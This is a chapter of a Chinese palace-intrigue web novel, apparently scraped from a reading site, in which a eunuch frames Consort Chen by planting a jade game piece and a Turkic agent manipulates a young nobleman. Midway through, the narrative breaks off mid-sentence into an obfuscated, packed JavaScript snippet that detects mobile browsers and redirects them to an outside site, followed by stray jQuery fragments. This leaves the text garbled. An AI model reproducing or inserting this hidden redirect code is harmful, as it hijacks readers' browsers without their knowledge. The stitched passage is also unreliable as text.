57. 诬陷他诬陷了他(中)

作品:《公主今天想篡位了吗

    “徐公,前面就是靖佑郡君的府邸了。”


    听了王朋这话,徐坚远奇怪地瞧了眼他,又望了望不远处的那片废墟。


    “我看得见。”


    “……”王朋牙都要咬碎了,真是人如其名,说话一点儿情面都不留!


    夜已深,但徐坚远等一众大理寺官员还是一刻也不敢耽搁,快步行至现场。


    现场已被简单地清扫了出来,断气许久的瑞象被断壁残垣拥簇着,像是刚刚举办过某种古怪的祭祀。


    徐坚远围着瑞象绕了一圈,时不时动手拍拍翻翻、检查有无伤处,最终他站定在瑞象头颅前。


    “双眼有明显伤痕,记下来,”他撩袍蹲下,仔细地观察着瑞象的面部,两道已然凝固的血痕从它的双眼蜿蜒着向下,甚至附近的地面上也有一两处血迹,“是匕首造成的。”


    王朋假声假气地惊叫了一声:“也就是说,郡君不是自杀的?郡君之死另有原因?”


    “王公公,你挡着光了。”徐坚远叹了一口气,将灯盏拉近了些。


    王朋悻悻退到一边,在无人察觉的角落,他伸手在腰侧小囊中探了探,夹出一枚圆润细腻、白玉制的双陆棋来,他贼溜溜地左右前后扫视了一圈,见众人都在各忙各的,于是屈指一弹……


    “铛——”


    “咳咳——”


    他剧烈地咳嗽起来,将棋子的掉落声掩盖了去。


    “夜里风大,王公公不要受了寒,还是快请回吧,”徐坚远本就不乐意他跟在一旁,听见他咳嗽立即委婉驱赶道。


    说罢,他也不管王朋作何反应,又对身后的众人说道,“辛苦诸位与我一同搜查一遍现场,一处角落都不要放过。”


    “是!”众人作揖称是。


    王朋灰溜溜让开空间、离开现场,但他并没有走远,只是站在几丈外,不动声色地窥探着。


    果不其然,没过多久,就听见现场那头传来一道声音。


    “大理卿,这里发现了一枚玉棋!”


    听到这话,王朋心满意足地离开了。


    另一头的大理寺狱也发现了几枚双陆棋。


    “叫什么名字?”


    “无名无姓。”


    大理寺少卿挥手就是一鞭。


    “老实回答!要不然——有你好果子吃!”


    “唔!关……关二……”


    “怎么进的宫?意欲何为!”


    “我自有办法,至于为什么……哼,有本事你们去查啊?”


    “啪——”


    “老实交代!”


    又是一鞭,这一次等来的却是长久的沉默。


    大理寺少卿不得不换一个话题。


    “这几枚玉棋是从哪来的?”


    “奇了怪了……”


    第二日的一大清早,陈贵妃就坐在院中,手里捧着个棋盒,面露不解之色,“小翠,本宫记得是你来替本宫收着这些玩意儿的,你可知道是怎么一回事?”


    “娘娘今日怎的想起拿出这个来了?”名叫小翠的宫女上前一步,笑容看起来没有一丝破绽,“这套棋放在仓库许久,不见了几枚也很正常。”


    “把她拿下。”


    陈贵妃冷哼一声,将棋盒随意搁在手边的木案上,上身一仰、斜倚在榻上,“本宫可没有说这盒棋子不足数。”


    几个宫女立即冲上来,将小翠压跪在地上。


    陈贵妃懒洋洋的声音中带了些寒意:“小翠,你弟弟在宫中的职位还是本宫安排的呢,本宫能安排,自然也能‘处理’——你也不想这种事发生吧?”


    “娘娘!奴婢的弟弟什么都不知道啊!”


    她闻言猛地抬起头,倔强的双眼中还是涌出了两行清泪。


    “是郑淑妃,魏王还是王朋?”


    小翠咬住下唇,心中挣扎起来,无论得罪哪一头,她都是死路一条……


    但她还是很快做出了决定。


    现在宫中可没有皇后,贵妃娘娘终究还是身份更高贵一成!


    “是王公公……他拿奴婢弟弟的性命做要挟,奴婢从未想过要害您啊!”


    “本宫再给你一次机会,”陈贵妃漫不经心地托着下巴,“这一次你可要选清楚了。”


    皇帝在这个清晨也有所得。


    “……昨夜勘验,微臣发现靖佑郡君之死并不是简单的发疯自尽,而是有人潜入郡君府邸,以匕首刺伤郡君双眼、从而引发郡君失控,故意伪造成自杀的假象。”


    徐坚远用眼神示意身边的大理寺官员,对方会意,呈上物证。


    “经过搜查,臣等在现场找到一枚玉质双陆棋,这样的双陆棋,在昨夜左武卫抓捕到的贼人身上,也发现了几枚,因此微臣初步怀疑,昨日瑞象之死很有可能与这贼人有关联——只是贼人嘴硬,还未招供。”


    皇帝扫过玉棋一眼,当即感觉有些眼熟,但他并未深思,只是点了点头,认可道:“物证在此,瑞象之死必是此贼人为之!不单如此,太极宫守卫森严,而这贼人竟能潜入宫中,身后必有主使、帮凶。”


    “臣等已加紧拷问,请陛下放心。”


    “有徐卿这样的股肱之臣在,朕很放心!”皇帝十分欣慰地说。


    内间的王朋听了听动静,顿时觉着时机来了,于是端起一杯热茶行至御前。


    “咦?”


    听了这道满含疑惑的声音,殿中众人都不禁朝王朋看去。


    “你有何事?”皇帝不耐地睨了他一眼。


    “陛下,奴婢瞧这棋子有些眼熟……”他将茶放在皇帝手边,又装模作样多瞧了两眼。


    “哦?”


    “奴婢想起来了!”他又惊又喜,脸上的神情近乎浮夸,“这不是贵妃宫中的那套双陆棋吗?陛下以前经常与娘娘下的呀。”


    钱顺不咸不淡地瞥了王朋一眼。


    经他这么一提醒,皇帝也回想起来了。


    “对,”他抓起一枚仔细瞧了瞧,“这套于阗玉的双陆棋是那年贵妃生辰,朕叫将作监做好送给贵妃的。”


    “不过……也有可能是奴婢眼拙认错了,”王朋垂下眼,隐藏起眼底的得意,“还是找来贵妃那套比对一番比较好,莫要冤枉了贵妃。”


    “徐卿先下去吧,”皇帝脸色一沉,又对钱顺道,“去陈贵妃的承香殿。”


    皇帝转眼一琢磨,心中登时就有了数。


    昨日宫中进了贼人,偏偏还又死了瑞象,他前一晚就猜测二者可能有关联,今日徐坚远呈上证据,果不其然!就是有人指使贼子蓄意谋害瑞象!


    他在心中频频冷笑,瑞象之死的真相真是再简单不过了。


    ——若是瑞象在他的诞辰当日自尽,他知道后还能怎么想、怎么做?


    他定会觉着李景益欺上罔下,心怀不轨,这头象不仅是对他的诅咒,更是对大成的诅咒!他当然不会姑息!


    也正是因为这一点,才给了陈贵妃与齐王这对母子可乘之机,出此毒计、构陷大郎


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14630841|151905||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    !


    真是好心机!


    从前他真是错看陈氏了!


    他便是怀着这样的满腔怒火杀进陈贵妃的承香殿的。


    郑小郎怒气冲冲地杀进酒肆。


    “怎么了你这是?”通伽达干靠在二楼窗边,朝他招了招手。


    他赌气地哼了一声,快步登上二楼,脚步声都听起来愤怒极了。


    “这个家——我是一刻也待不下去了!”


    通伽达干拍了拍他的肩,贴心地为他斟了一盏酒。


    “你阿兄欺辱你了?”


    “那倒不是,他怎么敢欺辱我……也不怕我阿耶扒了他的皮,”郑小郎骄蛮地扬了扬下巴,“你不知,今日我阿耶与他在书斋议事,我听说后就过去想帮帮他们——我都二十五了,如何不能为家族效力?”


    他点点头,心中却咯噔一下,握着酒杯的手攥得更紧了。


    “结果你猜他们怎么说,”郑小郎不等他回答,自顾自发着牢骚,“他们说我还小,不用来帮忙,哼……什么事都不告诉我,还当我是自家人吗?”


    通伽达干长舒一口气,体态彻底放松下来。


    “你真想帮你父亲一把吗?”


    “当然!”郑小郎点头如捣蒜。


    “好,”他凑近了些,压低了些声音,“我今日来找你,其实是因为有件事我纠结了许久,还是觉着应该告诉你,事关郑公、还有你们圣上、你们大成……”


    “你们突厥人又要作什么妖?”郑小郎听了这话,不禁对眼前的好友生出几分戒心来,眼中多了些警惕。


    “啧,说什么‘你们突厥人’,是‘他们突厥人’!”通伽达干不满地拍了拍桌,“当年郑公帮我解决了通关牒文的事,我一直感怀在心,因此就算冒着背叛突厥的风险,我也要将此事告诉你!”


    “你是我的朋友,当年之事不足挂齿……”郑小郎摆摆手,彻底放下了戒心,“究竟是什么事?”


    “他们突厥人在宫中安插了一伙奸细,已经混入了你阿耶的千牛卫!明晚就要对你们圣上下手!”


    “什么?”郑小郎大吃一惊,急忙起身就往外走,“我这就去告诉我阿耶!”


    “不可!”通伽达干立马拉住了他,“你们又不知奸细是哪些人,若为郑公知晓,岂不是打草惊蛇?而且,事情一败露他们就会知道是我说出来的,那我可就死定了!”


    郑小郎一想的确是这个道理,打草惊蛇倒无所谓,他相信父亲一定能处理好的,主要是,他不希望看到自己的朋友因为这样的义举而去死。


    “那你说怎么办?”


    “我知道奸细是哪些人,而且我有几个身手不错的心腹,如果我们明晚能进入太极宫,由我们来除去混入千牛卫的奸细,此事不就发生不了了?”


    “好!我这就回去求父亲,届时带你们进宫!”


    “不行不行!你难道忘了?你父亲、你阿兄一直把你当小孩看,怎么会同意呢?”通伽达干一口否决,他叹了口气,惋惜说,“小郎,你也太不自信了,凭你的能力何必求助旁人?你一人帮我——足矣!”


    “好!不求旁人,我也能帮成你!”郑小郎握紧了双拳,“我一定要向父亲证明,我不比阿兄差!我也可以成为家族的助力!”


    “只要你帮我做成此事,我发誓,郑公定会对你刮目相看!你绝对会成为最受郑公重用的儿子!”他一把握住郑小郎的手,“小郎,你一定能帮我弄来几块千牛卫的令牌,对吧?”